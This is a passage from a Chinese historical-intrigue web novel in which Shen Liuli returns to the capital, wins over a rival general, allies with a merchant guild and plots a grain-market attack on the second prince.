“可他也同样,将我们这艘小船,硬生生地推向了风暴的最中心!”他看着沈琉璃,“主公,我们一旦拿着这东西回到都城,便等于将自己,彻底地摆在了所有人的对立面。届时,我们面对的,将不仅仅是一个二皇子,更是整个,早已被欲望扭曲的乾国朝堂!”
“那……那我们不回去不就行了?”春桃小声地嘀咕道,“咱们就在这里,陪着三殿下赈灾,等风头过去了再说。”
“天真!”君北玄的声音,在沈琉璃脑海中响起,“你以为,皇帝那个老狐狸,会给我们这个时间吗?他给的期限是一个月!我们现在拿到东西,却迟迟不归,那便是抗旨不遵,意图不轨!届时,他便可名正言顺地,将我们所有人,都定义为叛党!”
这是一个无解的死局。
回去,是龙潭虎穴。
不回,是万丈深渊。
“王爷,”沈琉璃在心里,苦笑一声,“看来,我们这位十三爷,送来的不是什么‘压舱石’。他送来的,是一枚,足以将我们所有人都炸得粉身碎骨的**。”
“那便炸了它!”君北玄的声音,掷地有声,“沈琉璃,你听着!事已至此,我们不能再被动地,被别人牵着鼻子走了!皇帝不是要看戏吗?二皇子不是想当黄雀吗?那我们,便将这济州城,变成我们自己的根据地!”
“你手中有粮,有药,更有数万对你感恩戴德的灾民!这便是你最大的资本!我们就在这里,与他们耗下去!本王倒要看看,是他们先耗死我们,还是我们先将这乾国的天,给捅个窟窿出来!”
君北玄的这番话,充满了一往无前的疯狂!他信奉的,永远是“在绝对的力量面前,任何阴谋诡计,都是纸老虎”。
然而,沈琉璃却缓缓地摇了摇头。
“王爷,您忘了,我们最大的敌人,从来都不是什么皇子,也不是什么商盟。”她轻声说道,“我们最大的敌人,是皇权。”
“民心,固然可用。可它,却挡不住,那足以踏平一切的三十万禁军。”
“我们现在若是拥兵自重,那便等于给了皇帝一个,将我们所有人,都名正言顺地从棋盘上抹去的理由。”
“那你说怎么办?!”君北玄的语气里,充满了焦躁。
“回。”沈琉璃的回答,只有一个字。
“我们不仅要回,还要风风光光地回!”她的眼中,闪过了一抹狠戾,“他不是想看戏吗?那我们便为他唱一出,比他想象中,还要精彩百倍的完璧归赵!”
她这个决定,让帐篷内的气氛再次凝固。
顾九看着她,欲言又止,最终只能化作一声无奈的轻叹,默默地又灌了一口酒。
他知道,自己这位主公一旦做出了决定,便是十头牛也拉不回来。
“既然要回,那便必须做好万全的准备。”君北玄迅速地从刚才的愤怒中冷静下来,“皇帝的刀魏炎还在,大徽的疯狼萧彻也在暗处虎视眈眈。你这一路,无异于与虎狼同行。”
“所以,”沈琉璃回应道,“我才更需要,为自己寻一位最‘合适’的保镖。”
她没有再多做解释,而是立刻叫来了忠叔,附耳低声交代了几句。
……
第二日清晨,当阳光洒向这片满目疮痍的土地时,一个惊人的消息,再次传遍
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了整个灾民营。
那位救苦救难的“女菩萨”沈大小姐,竟要启程返回都城了!
无数的灾民,自发地**在沈琉璃的营帐外,他们虽然面黄肌瘦,衣衫褴褛,可他们的眼中,却充满了最真挚的感激与不舍。
“沈小姐!您不能走啊!”
“是啊!您走了,我们可怎么办啊!”
就在这人声鼎沸,群情激奋的时刻。
一个身材魁梧的男人,悄无声息地出现在了沈琉璃的营帐外面。
正是那头“疯狼”,萧彻!
他看着眼前这位被数万灾民簇拥着的少女,眼中闪过异样的光芒。
这次来到乾国,他本以为,自己会看到一个瑟瑟发抖的“猎物”。
可他看到的,却是一个,早已将民心,都**于股掌之间的妖女!
“萧将军,”沈琉璃缓缓地走下马车,对着他,盈盈一拜,“您怎么会在这里?”
“我……”萧彻看着她,竟一时语塞。
“将军来得正好。”沈琉璃却像是没有看到他脸上的错愕,她转过身,对着那黑压压的灾民,朗声说道:“乡亲们!静一静!”
“我知道,你们舍不得我。我也同样舍不得你们。”她的眼眶,适时地红了起来,“可是都城内,还有一位比你们更需要我的‘病人’。”
“当今陛下,龙体欠安,夜不能寐。我此行,便是要将‘龙血玉珊瑚’,亲手呈给陛下!为他,也为我们整个乾国,祈福!”
“而这位,”她将目光,投向了萧彻,“便是我请来,护送神物入京的大英雄!”
“他是来自大徽王朝的使者!是曾为国戍边,斩杀过无数蛮夷的战神!有他在此,任何宵小之徒,都休想再伤我们分毫!”
她这番话,掷地有声!
将一个本是来“监视”她的敌人,硬生生地捧成了一个保护神物的“大英雄”!
萧彻看着数万双,投向自己的目光,那张狰狞的脸上出现了一丝错愕!
他知道,自己已经没有选择了。
他若是现在动手,便是当着数万人的面,公然抢夺“献给”乾国皇帝的神物!
届时,他非但不是什么英雄,反而会成为挑起两国争端的罪人!
“好,好一个沈琉璃。”他从牙缝里,挤出了这几个字。
“将军过奖了。”沈琉璃笑了笑,她对着他,做了一个“请”的手势,声音不大,却清晰地传遍了整个营地,“英雄,该上路了。”
她这一下,彻底断了萧彻所有的退路。
在数万双敬佩的目光注视下,这位来自大徽王朝的“疯狼”,最终只能脸色铁青地翻身上马,那动作僵硬得如同提线木偶。
“恭送沈小姐!”
“恭送萧将军!”
第112章 天子之赏
山呼海啸般的送别声中,一支诡异的队伍,正式踏上了返回乾国都城的路。
队伍的最前方,是那辆装载着“龙血玉珊瑚”的华丽马车,由张启年亲自带领护卫,里三层外三层地护卫着,生怕有半点闪失。
中间,是沈琉璃那辆看起来再寻常不过的青布马车。
而在马车的两侧,则并驾齐驱着两尊“门神”。
左边,是皇帝的刀,金吾卫指挥使魏炎。他面无表情,眼神锐利,如同最忠诚的猎犬,寸步不离。
右边,则是大徽太子的狼,萧彻。他脸色阴沉得几乎能滴出水来,那只握着断头刀刀柄的手,青筋暴起,仿佛随时都会暴起伤人。
马车内,春桃早已是吓得不敢说话,只是死死地抓着一个软垫,将自己缩在角落里,时不时地透过车帘的缝隙,偷偷地看一眼外面那个煞神,然后又飞快地缩回来。
“小姐,”她小声地嘀咕道,“我怎么觉得,咱们这马车不像是去都城,倒像是直接开往阎王殿的呢?”
“说什么胡话。”沈琉璃靠在软垫上,闭目养神。
“哼,总算是做了件有脑子的事。”君北玄的声音,在她脑海中响起。
这一次没有多少嘲讽,反而带着几分,属于战术大师的审视:“你这一招,叫‘捧杀’,也叫‘阳谋’。把他架在‘英雄’的位置上,让他下不来台。虽然粗糙了些,倒也有几分本王当年的风范。”
“王爷,您就别往自己脸上贴金了。”沈琉璃在心里,有气无力地回敬了一句,“我现在只担心,这头疯狼会不会在半路上,真的不管不顾,跟我们同归于尽。”
“不会。”君北玄笃定的回答道,“萧彻此人,虽然疯狂,却也极度高傲。他可以死在战场上,但绝不会死在‘抢劫’这种不名誉的罪名下,你这次抓住了他的软肋。”
“不过,你也同样,将自己逼入了绝境。”他话锋一转,声音变得凝重起来,“你当着数万人的面,将他捧上了神坛,也同样将你自己,绑在了他的战车上。这一路,怕是不会太平了。”
沈琉璃没有再说话,她只是,缓缓地掀开车帘的一角,看着窗外那两个并驾齐驱的身影,清澈的眼眸中,闪过了一抹极其复杂的情绪。
她知道,从她走出济州城的一刻,乾国的这盘棋,便已经不再由那些高高在上的皇子们所主导了。
新的棋手,已经入局。
而这场游戏的最终走向,也将彻底地脱离所有人的掌控。
……
返回都城的路,远比去时更加漫长。
沈琉璃的队伍,在官道上缓缓行进,所过之处,皆是万籁俱寂。没有寻常商队应有的喧哗,只有车轮碾过积雪时,那单调的“咯吱”声。
七日的行程,与其说是押送,不如说是一场无声的对峙。
当都城的轮廓出现在风雪弥漫的地平线上时,即便是最迟钝的守城士卒,也能嗅到这支队伍所散发出来的诡异气息。
城门大开,迎接他们的是早已列队等候、盔甲森然的御林军。为首的,正是皇帝身边最信任的内侍总管,陈公公。
“看来,皇帝已经为我们准备好了隆重的欢迎仪式。”马车内,沈琉璃看着窗外这密不透风的阵仗,在心里平静地说道。
“这不是欢迎,这是示威。”君北玄的声音冷硬如铁,“他在告诉所有人,这件神物,以及你,都是他的囊中之物,任何人不得觊觎。”
魏炎和萧彻在陈公公面前勒马停下,气氛瞬间降至冰点。
陈公公没有理会这两个煞神,只是对着那辆马车,恭敬地一拂尘,尖细的声音划破了风雪:“恭迎神物回京,陛下已在宫中等候多时。”
那株被封存在寒玉中的龙血玉珊瑚,在第一时间,就被重重护卫,送入了皇宫深处。
而沈琉璃,则被“恩准”返回尚书府“静养”。她甚至,连一句辩解的机会都没有。
尚书府,晚晴居。
当沈琉璃,重新回到这座熟悉的庭院时,已是深夜。
父亲沈从安早已等候在门口。
“父亲。”沈琉璃对着他,盈盈一拜。
“……回来就好。”沈从安拍了拍女儿的肩膀,声音沙哑地说道,“去吧,先好好歇息,有什么事明日再说。”
就在此时,一道圣旨,却如同黑夜中的惊雷,再次降临在了尚书府。
前来宣旨的,依旧是皇帝身边最信任的内侍总管,陈公公。
“陛下有旨!”陈公公展开圣旨,朗声喝道,“尚书府嫡女沈琉璃,于济州赈灾有功,寻得神物‘龙血玉珊瑚’,解朕之忧,安社稷之本!朕心甚慰!”
“即刻起,撤销其所有‘指控’,恢复其自由之身!赏黄金万两,锦缎千匹!”
“另,”陈公公顿了顿,声音陡然拔高,“命礼部,即刻起,以最高规格筹备其与大徽太子之国婚!不得有误!”
这道圣旨一出,整个尚书府,都沸腾了!
沈从安在接到旨意后,更是激动得老泪纵横,当场便对着皇宫的方向,三跪九叩,高呼“陛下圣明”。
然而,晚晴居内。
沈琉璃看着手中这份沉甸甸的圣旨,脸上却没有半分喜悦。
“好一招‘天子之赏’。”君北玄的声音,在她脑海中响起,冰冷得不带任何感情,“他这是在告诉你,你这枚棋子用得很好,但也该到你退场的时候了。”
“他用这泼天的富贵和荣耀,为你打造了一座华丽的囚笼。他要让所有人都知道,你沈琉璃,是他亲封的功臣,是乾国未来和大徽王朝联姻的女人。如此一来,便再也无人,敢轻易动你。”
“可也同样,”君北玄的声音里,带上了一股狠戾,“再也无人,敢与你为伍了!”
沈琉璃的心,沉入了谷底。
她知道,皇帝这是在,卸磨杀驴。
他用这种方式,将她彻底地从乾国这盘棋局上,给摘了出去!
“那……那我们现在该怎么办?”春桃的声音里,带上了哭腔,“三殿下那边被看得死死的,二殿下更是恨不得我们立刻就走,现在连靖亲王都……我们岂不是真的成了孤家寡人了?”
是啊,怎么办?
沈琉璃看着窗外沉沉的夜色,第一次感觉到了真正的无力。她可以算计人心,可以搅动风云,但在绝对的皇权面前,她所有的计谋,都显得是那么的苍白。
“棋盘内,确实已是死局。”君北玄的声音再次响起,冷静的分析道,“皇帝的圣旨,封死了所有朝堂上的路。任何官员,现在都不敢再与你有任何牵连。”
“但是,你别忘了……”他话锋一转,“这都城里,还有一股力量,是连皇帝也无法完全掌控的吗?”
沈琉璃的心,猛地一跳!
“你是说……”
“四海商盟。”君北玄的声音,掷地有声,“皇帝的圣旨,能管得了朝臣,却管不了那群,只认黄金不认人的商人!十三爷既然敢将‘龙血玉珊瑚’这等神物送到你手上,便说明他早已在你身上,押下了重注!他绝不可能,眼睁睁地看着自己的‘投资’,就这么打了水漂!”
君北玄的这番话,瞬间提醒了沈琉璃。在这盘棋局之外,她还有一位,更神秘,也更强大的盟友!
“王爷,”沈琉璃在心里,苦笑一声,“看来,这位十三爷,送来的不是什么‘压舱石’。他送来的,是一艘能载着我们,冲出这片死水的船。”
“那便看你,敢不敢登船了。”
“有何不敢?”沈琉璃的眼中,重新燃烧起了火焰!
她站起身,不再有半分犹豫。
“忠叔!”
“老奴在!”
“立刻去一趟揽月楼,”沈琉璃看着他,说道,“替我,给十三爷送一封信。”
她快步走到书案前,铺开一张空白的宣纸,提笔蘸饱了墨。
她在那张洁白的宣纸上,画了一幅,极其简单的画。画上,只有一座孤岛和一艘正扬帆起航的船。
而在船的甲板上,则画着两只,正在对弈的狐狸。
“告诉十三爷,”她将画卷,小心翼翼地卷起,放入一个信封中,“就说,沈琉璃想请他,手谈一局。”
“我倒要看看,”她继续说道,“他这艘大船,到底想带我驶向何方。”
……
第二日,清晨。
一辆极其普通的青布马车,悄无声息地,停在了揽月楼的后门。
沈琉璃戴着狐狸面具,独自一人,走进了这座,由她亲手建立起来的商业帝国。
揽月楼,望月台。
那个总是神龙见首不见尾的十三爷,早已在此等候多时。
他一副文质彬彬的模样,手中捧着一个暖炉,脸上挂着和善的笑容。
在他的面前,则静静地摆放着一幅画卷。
正是那幅,由沈琉璃亲手绘制的“行舟图”。
“沈大老板,”他看着她,笑着说道,“看来,你这出戏唱得不怎么样啊。”
他这番话,说得极其不客气,却又偏偏,让人升不起半分怒意。
“十三爷说笑了。”沈琉璃缓缓地走上前,在他的对面坐下,“不过是些上不得台面的小把戏,让您见笑了。”
“不,不小了。”十三爷摇了摇头,他将目光,投向了那幅画,“能将这盘死棋,下到这个份上。这份手段,便是连本官,也自愧不如。”
“只是,”他话锋一转,微笑着说道,“光有胆识,没有实力,终究也只是镜花水月罢了。”
他说着,便将那幅画,缓缓地卷起,放入了紫檀木盒中。
“画,我收下了。”他缓缓说道,“至于沈大老板所求的‘手谈’嘛……”
他顿了顿,将目光重新投向了沈琉璃。
“本官倒是有些好奇,沈大老板你准备用什么,来当这盘棋的‘赌注’呢?”
来了!
沈琉璃的心,猛地一紧!
她没有回答,只是缓缓地摘下了脸上的狐狸面具。
露出了那张,清丽绝伦,却又带着几分苍白的脸。
“就凭这个,够吗?”
第113章 解毒
十三爷看着她,在这一刻,竟是出现了短暂的失神。
许久,他才缓缓地吐出了一口浊气。
“……够了。”
他说完,便不再看沈琉璃,只是缓缓地站起身,走到了窗边。
“沈小姐,”他背对着她,缓缓开口,“你可知,我四海商盟为何要帮你?”
“不知。”
“因为,我们与你是同一种人。”十三爷的声音里,带上了一股子悲凉,“我们,都只是别人棋盘上,一枚随时可以被牺牲的棋子罢了。”
他缓缓地,讲述了一段,早已被尘封的商盟往事。
原来,四海商盟,并非铁板一块。
其内部早已分裂成了两个,截然不同的派系。
一派,是以红夫人为首的“金蛇”一脉。他们激进,唯利是图,为了利益,可以不择手段。
而另一派,则是以他为首的“玄武”一脉。他们保守,稳扎稳打,从不轻易下注。可一旦下注,便必然是看准了,那个能笑到最后的真正赢家。
“红三娘与安王之间的那点‘小秘密’,你以为,真的能瞒得过我的眼睛吗?”他自嘲地笑了笑,“我之所以一直按兵不动,不过是在等,等一个能让我名正言顺地清理门户的机会罢了。”
“而你,”他转过身,看着沈琉璃,“便是我选中的那把刀。”
“你帮我清理门户,我帮你,在这盘棋局上活下去。”
“这,是一场交易。”
“一场,你我谁也输不起的交易。”
……
当沈琉璃,从揽月楼的密室中走出来时,天边已经泛起了一抹鱼肚白。
她的手上,多了一份,由十三爷亲手交给她的,关于“金蛇”一脉,在乾国所有的秘密据点和人员名单。
然而,她不知道的是,就在她与十三爷,定下这个“盟约”的同时。一份由皇帝亲赐的“恩典”,也已悄无声息地送到了尚书府。
正是那株由沈琉璃进献到宫中的龙血玉珊瑚,此刻安然地放在尚书府的院子中。
而在龙血玉珊瑚的旁边,还附着一张,由皇帝亲笔所写的字条。
字条上,只有寥寥数语。
“朕听闻,大徽王朝肃王麾下有一神医,名为顾九,善解天下奇毒。朕的这件‘赏赐’,想必他会很喜欢吧?”
春桃看着这株龙血玉珊瑚,只觉得浑身冰冷,那东西不像是能救人的宝贝,倒更像是一块,从地狱里捞出来的催命符。
“小姐,”她看着自家小姐那张毫无血色的脸,声音都在发颤,“他这是什么意思?他不是才刚刚赏赐了我们吗?为何又要用这种方式,来敲打我们?”
“敲打?”君北玄的声音,在她脑海中响起,充满了讥讽,“你这丫鬟,还真是天真。这哪里是敲打?这分明就是,最直接的警告!”
“他用这种方式告诉你,他可以轻易地将你捧上神坛,也同样可以,轻易地将你打入地狱!”
“而这株‘龙血玉珊瑚’,便是他套在你脖子上的一根锁链!”
君北玄的这番话,让沈琉璃的心沉入了谷底。
是啊,怎么办?
……
第二日,这件神物并未在尚书府停留太久,便被忠叔用最稳妥的方式,秘密送往了揽月楼。
揽月楼,望月台,灯火通明。
顾九正围着龙血玉珊瑚,啧啧称奇。
他时而伸手,在冰冷的寒玉上轻轻抚摸,感受着那股沁人心脾的凉意;时而又凑上前,试图透过玉璧,看清珊瑚内部的纹理。
“他娘的……”他小心翼翼地伸出手,在那冰冷的寒玉上,轻轻地抚摸着,“这老皇帝,倒还真是舍得下血本。这等神物,便是连大徽王朝的国库里,怕是也寻不出第二株来。主公,您说,他这是不是真的龙颜大悦,准备把您当亲闺女疼了?”
“他若是真有这份好心,就不会把这东西送来了。”沈琉璃看着那株珊瑚,声音里听不出喜怒。
“顾九,”沈琉璃将目光投向了那个还在研究珊瑚的酒鬼,“此物,可有把握?”
“把握?”顾九的眼中爆发出一种近乎疯狂的光芒,他小心翼翼地走上前,贪婪地看着那株龙血玉珊瑚,“何止是有把握!这简直就是老天爷送到我嘴边的救命仙丹啊!”
他指着自己肩上那朵若隐若现的黑莲印记,激动地解释道:“‘黑莲佛印’乃是天下至阴至邪的蛊毒,想要解此毒,必须用天地间至阳至刚的神物,以阳火强行焚烧其根本!这龙血玉珊瑚,便可以当做解药!”
他说着,不再有半分耽搁,叫来柒和几个狼卫,小心翼翼地将那巨大的寒玉,抬入了他的药房。
接下来的两日,揽月楼顶层成了一座禁地。
顾九将自己关在药房里,日夜不休。各种珍稀的药材,如同流水一般,被送了进去,又变成了一碗碗颜色古怪的药渣,被端了出来。
整个楼层,都弥漫着一股,混合着血腥与草药的古怪气味。
春桃每日里闻着这味道,都吃不下饭,小脸也跟着白了几分。
“小姐,”她捏着鼻子,给沈琉璃送来一碟新做的点心,小声地抱怨道,“顾先生他到底是在治病,还是在炼丹啊?我怎么觉得,他的房间,比咱们家后院的茅房还熏人呢?”
“这丫头懂什么?”君北玄在她脑中,不屑地说道,“龙血玉珊瑚乃是至阳神物,药性霸道无比。他要将其中药力提纯,又要压制其对自身的反噬,每一步都如履薄冰。此举看似胡闹,实则凶险万分。”
“王爷倒是很懂嘛。”沈琉璃在心里,酸溜溜地回了一句,“您当年在军营里,是不是也经常,背着人偷偷研究这些啊?”
君北玄:“……”
他再一次,被这个女人,给噎得差点当场消散。
终于,在第三日的傍晚,药房那扇紧闭了三日的大门,被“吱呀”一声,从里面推开了。
顾九顶着两个巨大的黑眼圈,手里捧着一个白玉小瓶,踉踉跄跄地走了出来。他的脸上充满了疲惫!
“活了!活过来了!”他将那个小瓶,递到了沈琉璃的面前,脸上露出了一个极其得意的笑容,“小爷我这条命,算是从阎王爷手里抢回来了!”
他一把扯开自己左肩的衣物,只见那片白皙的皮肤上,原本那朵诡异的黑色莲花印记,此刻竟已消失得无影无踪,只剩下一点淡淡的红痕。
这个消息,让在场所有人的心,都为之一松。
然而,顾九的下一句话,却又让刚刚才缓和下来的气氛,再次降至冰点。
“不过……”他话锋一转,脸上露出了一个比哭还难看的笑容,“小爷我的毒是解了,可张家那小子的毒,怕是神仙难救了。”
“什么意思?!”沈琉璃的心,猛地一紧!
“这龙血玉珊瑚,虽然是神物,却也只能解天下至阳至刚之毒。”顾九叹了口气,声音里充满了无奈,“可那‘雪山寒蝉’,乃是天下至寒之物,两者药性完全相反!”
“想要救他,”他看着沈琉璃,说道,“我们还是需要,找到那传说中的凤凰胆!”
就在这时,一个意想不到的“客人”,悄无声息地找上了门。
正是那头“疯狼”,萧彻!
他穿着一身单薄的黑色劲装,脸上那道狰狞的刀疤,在清冷的月光下,显得格外骇人。
“沈大小姐,”他开门见山,“我想跟你做笔交易。”
“交易?”
“没错。”萧彻点了点头,“我帮你,对付乾国的这些皇子。而你,则需要帮我,查明一件事。”
“什么事?”
“三年前,‘黑石关’一役的真相。”他的眼中,燃烧着熊熊的烈火,“以及,君北玄他那场‘沉疴’的背后,到底隐藏着什么秘密!”
“我凭什么帮你?”沈琉璃看着他,不为所动。
“就凭这个。”
萧彻从怀中,取出了一份早已泛黄的卷宗,扔在了沈琉璃的面前。
那上面,清清楚楚地记载着,三年前,大徽东宫太子君怀瑾,是如何与丞相韦光远暗中勾结,意图将整个北境的粮草命脉,都掌控在自己手中的铁证!
第114章 敲山震虎
当那份卷宗,被萧彻扔在桌案上时,整个密室的空气都凝固了。
陆风和顾九互相看了一眼,都识趣地没有开口。
春桃早已吓得躲在了沈琉璃的身后,只敢露出一双惊恐的眼睛,偷偷地打量着这个可怕的“疯狼”。
“如何?”萧彻看着沈琉璃,说道,“这份‘投名状’可还够分量?”
沈琉璃没有立刻回答,她只是伸出纤细的手指,将那份卷宗,缓缓地拿到了自己手中。
她看得很慢,很仔细。
那上面,清清楚楚地记载着,三年前,大徽东宫太子君怀瑾,是如何通过他那位,早已远嫁乾国的姨母,牵线搭桥,与丞相韦光远暗中勾结。
他们又是如何,利用“四海商盟”的渠道,将一批批本该运往北境的粮草和军备,高价倒卖给南洋的海盗,以此来中饱私囊,扩充东宫的私库!
而卷宗的最后,还附着一张,由君怀瑾亲笔所写的密信!
信中,他竟明确地指示商盟,务必在“黑石关”一役之后,将军械送往与大徽王朝为敌的蛮族部落手中!
“好,好一个君怀瑾!”
在沈琉璃的脑海中,君北玄的声音,充满了无边的愤怒与杀意!
“他竟敢……他竟敢做出此等通敌卖国之事!他竟敢,为了自己的一己私利,将整个北境三十万大军的生死,都视若无物!”
“萧彻……”他的声音里,带上了几分,连他自己都未曾察觉的愧疚,“是我错看他了……”
他一直以为,萧彻当年的“坑杀降卒”,只是为了逞一时之快。
却不想,那背后,竟是君怀瑾为了掩盖自己通敌卖国的罪证,而设下的一个局!那些被坑杀的降卒,根本就是知晓了这笔交易的“证人”!
“王爷,现在说这些已经晚了。”沈琉璃在心里,平静地回应,“我们现在要做的,不是去追悔过去。而是要想办法,在这盘棋局中活下去。”
她缓缓地合上了那份卷宗,然后抬起头,看着萧彻,说道:“你的‘投名状’,我收下了。”
“那我的条件呢?”
“我答应你。”沈琉璃点了点头,“只要你帮我,在这盘棋局上活下去。我便帮你,查明‘黑石关’一役的真相,还你一个清白。”
“好!”萧彻的眼中,终于露出了属于人类的情绪,“一言为定!”
“只是,”沈琉璃继续说道,“将军您也该知道,这‘盟约’二字,从来都不是靠嘴说的。”
“我需要您,为我,也为您自己,先纳一份真正的‘投名状’。”
萧彻的眉头,紧紧地锁了起来。
“你什么意思?”
“没什么意思。”沈琉璃缓缓地站起身,走到舆图前,指尖在代表着“二皇子府”的标记上,轻轻一点。
“我只是想看看,将军您这把来自大徽的刀,到底有多锋利。”
……
第二日,深夜。
乾国都城西郊,一座戒备森严的皇家官盐转运仓外。数十道黑影,悄无声息地出现在了仓库的高墙下。
为首的,正是脸上带着狰狞刀疤的男人。
“将军,”他身后一名身材同样魁梧的护卫,看着眼前这座堡垒,忍不住低声问道,“我们真的要闯这里?我听说,这里可是由二皇子的亲兵,亲自看管的。里面,至少有五百精锐!”
“五百?”萧彻笑了,那笑容比哭还难看,“三年前在‘黑石关’下,老子带着三千人,就敢冲三万人的蛮族大营。如今,不过是区区五百个,连血都没见过的‘童子军’罢了。”
他说着,不再有半分犹豫,对着身后轻轻地一挥手!
“动手!”
随着他一声令下,数十道黑影,悄无声息地越过了那五米高的院墙!
仓库内,瞬间便响起了一片,压抑不住的惊呼和兵刃碰撞的声响!
然而,这场战斗来得快,去得更快!
不过短短一炷香的功夫,整个盐仓,便恢复了寂静。
只是空气中,多了一股挥之不去的血腥味。
萧彻没有杀人,他只是将那五百名所谓的“精锐”,都给打断了手脚,扔在了仓库的院子里。
随即,他一把火,点燃了那座堆积如山的盐山!
熊熊的烈火,在寂静的夜里冲天而起!
将整个都城的夜空,都映照得亮如白昼!
……
当这个惊天的消息,传到二皇子府时,李昭彻底愤怒了。
“萧彻!”他将手中的茶杯,重重地摔在了地上,摔得粉身碎骨!
“沈琉璃!”
他怎么也没想到,这个女人竟敢用这种方式来反击他!
她这是,当着天下人的面,狠狠地扇了他一个耳光!
就在这时,一个更让他,意想不到的消息,传了进来。
“殿下!”心腹幕僚连滚带爬地跑了进来,脸上满是惊慌,“不好了!宫里来人了!”
“谁?!”
“是……是陛下身边的陈公公!”那幕僚的声音都在发颤,“他……他带来了陛下的口谕!”
“宣您,即刻入宫觐见!”
李昭的心,猛地一沉!他知道自己那位好父皇,终于要亲自下场了。
就在他,心烦意乱地赶往皇宫的时候。
另一辆,毫不起眼的青布马车,已悄无声息地,从尚书府的侧门驶出,朝着一个,谁也无法预料的方向,缓缓行去。
车上,坐着的不是别人。
正是沈琉璃!
……
当二皇子李昭满心烦乱地赶到御书房时,殿内温暖如春,与他那颗冰冷的心,形成了鲜明的对比。
父皇君宏德并未如他想象中那般震怒,正独自一人,对着一盘残局,凝神沉思。
“父皇。”李昭躬身行礼,声音里带着几分嘶哑。
“来了?”皇帝没有回头,只是淡淡地问道,“盐仓的火,灭了吗?”
“回父皇,火势已灭。”李昭的头,埋得更低了,“只是仓内囤积的十万石官盐,已尽数被毁。儿臣监管不力,罪该万死!”
“哦?”皇帝终于缓缓地转过身,脸上露出了一个,似笑非笑的表情,“那你倒是跟朕说说,这火是怎么烧起来的啊?”
“是……是萧彻!”李昭咬着牙,从牙缝里挤出了这个名字,“是大徽王朝来的那个疯子!他以‘追查大徽叛逆’为名,夜闯盐仓,不仅打伤了儿臣数百名亲兵,更是纵火烧毁了整个仓库!其行径之嚣张,简直是闻所未闻!儿臣恳请父皇下旨,将此等狂徒……”
“够了。”皇帝摆了摆手,打断了他。
他缓缓地站起身,走到李昭的面前,亲自将他扶起。
“昭儿啊,”他沉声说道,“你可知,朕为何要将那个萧彻,留在都城?”
李昭的心,猛地一跳。
皇帝拍了拍李昭的肩膀,叹了口气,“朕将萧彻这头疯狼留在都城,是想看看,他这把来自大徽的刀,到底有多锋利。也是想看看,你这只笼子,到底有多结实。”
“可你呢?”他的声音,陡然变得冰冷,“你不仅没能锁住这头狼,反而还被他烧了你自己的粮仓。”
“父皇……”
“行了。”皇帝摆了摆手,“此事到此为止,一个盐仓罢了,烧了便烧了。朕不想再听到,任何与此事有关的风声。”
“你现在要做的,不是去跟他们置气。”他的目光,如同刀子一般,死死地盯住了李昭的眼睛,“而是要想办法,稳住都城的盐价,安抚好城中的百姓。”
“你,可明白?”
“……儿臣,明白。”最终,李昭从牙缝里,挤出了这几个字。
他知道,父皇这是在警告他。
警告他,他的无能,远比一个盐仓的损失,更让君王失望。
……
当李昭失魂落魄地,从皇宫中走出来时,天边已经泛起了一抹鱼肚白。
他看着远处的揽月楼,眼睛里充满了恨意!
这次,他输得一败涂地。他不仅失去了一个钱袋子,更是被父皇,当着所有人的面,狠狠地扇了一个耳光!
而这一切,都只是因为那个,他从未放在眼里的女人!
“殿下,”心腹幕僚看着他这副模样,忍不住开口劝道,“事已至此,动怒无益,当务之急是……”
“我知道!”李昭低喝一声,打断了他。
他缓缓地走上了那辆,象征着皇权的华丽马车。
“既然,父皇不让我用刀。”他的声音,如同九幽下的寒冰,“那孤便用钱,将她活活地砸死!”
“传孤的令!”他对着车外的幕僚,冷冷地吩咐道,“立刻去告诉红夫人,孤之前许给她的那些好处,都可以翻倍!”
“但,孤要她在三日之内,将都城内外,所有与揽月楼有关的商号、铺子,都关门!”
“孤要让沈琉璃那个贱人,清清楚楚地看到!”
“在这乾国,到底谁才是真正的主人!”
……
就在二皇子府的马车,疾驰而去的时候。
三皇子府,书房。
沈琉璃在李琰的注视下,缓缓地走了进来。
“表妹!”李琰快步上前,脸上写满了担忧,“你怎么会来这里?!父皇不是让你……”
“兄长,”沈琉璃打断了他,她对着李琰,盈盈一拜,说道,“我知道,我今日不请自来,实在是唐突了,可我实在是放心不下兄长。”
“表妹,”他声音沙哑,“你……你辛苦了。”
“兄长说笑了。”沈琉璃摇了摇头,“我们是盟友,不是吗?”
“只是,”她话锋一转,脸上露出了一个“担忧”的神情,“光有情谊,还不够。”
她走到了乾国全舆图前,指尖在那几条,代表着乾国经济命脉的漕运路线上,轻轻地划过。
“二哥他,虽然在朝堂之上,失了先机。可他,却在另一片,我们看不见的战场上,占尽了优势。”
“盐铁,漕运,丝茶……”她的声音,变得无比凝重,“这些,才是真正能决定一场战争胜负的地方!”
“而我们,在这片战场上,却几乎是一无所有。”
她这番话,如同一盆冰水,将李琰的心瞬间浇得冰冷。
是啊,这次虽然在朝堂上,暂时压制了二哥。可论及真正的实力,他与自己的二哥相比,简直是不堪一击!
“那……那依表妹之见,”他看着沈琉璃,问道,“我们该当如何?”
“很简单。”沈琉璃回应道,“他不是想玩‘釜底抽薪’吗?”
“那我们便为他唱一出,比他想象中还要精彩百倍的白银长河!”
第115章 活菩萨与疯狼
“表妹,”他看着沈琉璃,说道,“你可知,你这个计划一旦开始,便再无回头之路?”
“兄长,”沈琉璃看着他,脸上露出了一个无奈的笑容,“您觉得,我们现在还有退路吗?”
李琰沉默了。
是啊,他们早已没了退路。
“好。”最终,他从牙缝里,挤出了这个字。
他走到书案前,从暗格中,取出了一枚令牌和一沓厚厚的银票,轻轻地放在了沈琉璃的面前。
“这是孤,这些年来,所有的积蓄。”他看着沈琉璃,说道,“从现在起,它们都是你的了。”
“孤只有一个条件。”
“兄长请讲。”
“若此战功成,”他的眼中,闪过了一抹狠戾,“孤要让李昭那个伪君子,永不翻身!”
“如兄长所愿。”
……
接下来的两天,整个乾国都城,都笼罩在一种压抑的气氛中。
二皇子府,闭门谢客。
三皇子府,风平浪静。
所有的一切,都显得那么地正常。
可在这份虚假的平静下,一场没有硝烟的战争,正在都城最繁华的商界,悄然上演。
揽月楼,这个销金窟,无数的资金,从揽月楼那看似不起眼的账房中,疯狂地涌出!
它们的目标,只有一个!
——粮食!
在沈琉璃的亲自操盘下,忠叔和张启年,带领着数十名掌柜,对都城内外,所有与二皇子派系有关的粮铺、米行,展开了一场,堪称毁灭性的打击!
他们不计成本,不问价格,只用最野蛮,也最直接的方式,将市面上所有流通的粮食,都给扫荡一空!
短短三天,都城粮价,便已飞涨了十倍!
无数的百姓,因为买不起米,而陷入了恐慌。
而那些,本想着大发国难财的粮商们,则更是哭爹喊娘,血本无归!
